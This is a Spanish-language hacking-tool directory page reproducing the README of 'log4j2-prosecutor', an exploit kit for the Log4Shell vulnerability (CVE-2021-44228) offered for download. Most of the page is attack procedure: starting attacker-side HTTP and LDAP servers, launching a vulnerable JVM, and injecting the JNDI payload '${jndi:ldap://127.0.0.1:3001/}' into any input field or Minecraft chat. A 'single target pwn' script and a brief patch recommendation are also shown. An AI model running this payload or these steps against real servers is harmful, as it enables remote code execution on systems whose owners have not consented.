Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
log4j2-prosecutor — CVE-2021-44228 | Kitploit
Herramientas/GitHubGitHub/rodfer0x80/log4j2-prosecutor
Generación de PayloadsAnálisis de VulnerabilidadesAnálisis de CódigoExplotaciónExplotación de Aplicaciones WebPruebas de Penetración
GitHubrodfer0x80/log4j2-prosecutor

log4j2-prosecutor

CVE-2021-44228

Ver Repositorio
hace 4 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

log4j2-prosecutor

Motivación

Esta vulnerabilidad fundamental fue reportada por [CVE-2018-3149](https://nvd.nist.gov/vuln/detail/CVE-2018-3149) y corregida mediante [este artículo. (Notas de la versión 8u121)](https://www.oracle.com/java/technologies/javase/8u121-relnotes.html)

Sin embargo, la biblioteca de registro para Java llamada log4j2 tenía (JNDILookup)[CVE-2021-44228](https://github.com/apache/logging-log4j2/blob/20f9a97dbe5928c3b5077bcdd2a22ac92e941655/log4j-core/src/main/java/org/apache/logging/log4j/core/lookup/JndiLookup.java), la cual permitía acceso a protocolos como LDAP, lo que permitía inyección de código en versiones antiguas de Java.

Las versiones de Java corregidas pueden prevenir la inyección de código, pero `JNDILookup` realiza solicitudes al servidor LDAP, lo que puede provocar fugas de IP.

La solución es actualizar las versiones de **Java** y **log4j2**.

Ejecución

  1. Instalar requisitos
root@kitploit:~
cd http-server && npm install && cd ../ldap-server && npm install
  1. ejecutar tanto http-server como ldap-server
root@kitploit:~
cd http-server && node index.js &
cd ldap-server && node index.js
  1. Compilar Main.java
root@kitploit:~
# This will generate Main.java - required to code injection .
# OSx
./java-single-compile <Main.java>
# Linux 
javac <Main.java>
  1. Iniciar la JVM con parámetros
root@kitploit:~
# You can still use log4j-client in repo for internal testing.
cd log4j-client &&\
		gradle jar &&\
		java -Dcom.sun.jndi.ldap.object.trustURLCodebase=true -jar build/libs/log4j-client-1.0-SNAPSHOT.jar
# Or run other application, com.sun.jndi.ldap.object.trustURLCodebase=true required for code injection, otherwise it will only request to ldap server.
java -Dcom.sun.jndi.ldap.object.trustURLCodebase=true -jar <javafile.jar>
  1. Enviar el payload a cualquier parámetro como el payload (En Minecraft, simplemente chatear esto funcionará si el exploit funciona).
root@kitploit:~
${jndi:ldap://127.0.0.1:3001/}
  1. limpieza
root@kitploit:~
NODEP=`pgrep node`
for id in $NODEP; do
    kill $id
done

Scripts

root@kitploit:~
# Single target pwn
# Edit exploit-configs.txt with url and params
cd scripts/single-pwn && python3 __main__.py

Referencias

  • https://github.com/apache/logging-log4j2/pull/608
  • https://www.lunasec.io/docs/blog/log4j-zero-day/
  • https://github.com/NCSC-NL/log4shell
  • https://github.com/ilsubyeega/log4j2-exploits/
  • https://raw.githubusercontent.com/ferderplays/Log4j_exploit/main/Exploit.java
  • https://www.blumira.com/analysis-log4shell-local-trigger/ (todo)

Licencia [GPL3]

Consulte la licencia en LICENSE

Descargar herramienta